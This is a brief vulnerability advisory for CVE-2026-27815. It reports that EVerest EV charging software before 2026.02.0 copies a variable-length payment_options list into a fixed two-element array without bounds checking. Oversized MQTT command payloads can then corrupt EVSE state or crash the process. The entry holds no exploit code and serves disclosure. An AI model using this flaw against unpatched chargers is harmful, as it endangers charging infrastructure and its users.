CVE-2026-27815

Description

EVerest is an EV charging software stack. Prior to versions to 2026.02.0, ISO15118_chargerImpl::handle_session_setup copies a variable-length payment_options list into a fixed-size array of length 2 without bounds checking. With schema validation disabled by default, oversized MQTT Cmd payloads can trigger out-of-bounds writes and corrupt adjacent EVSE state or crash the process. Version 2026.02.0 contains a patch.
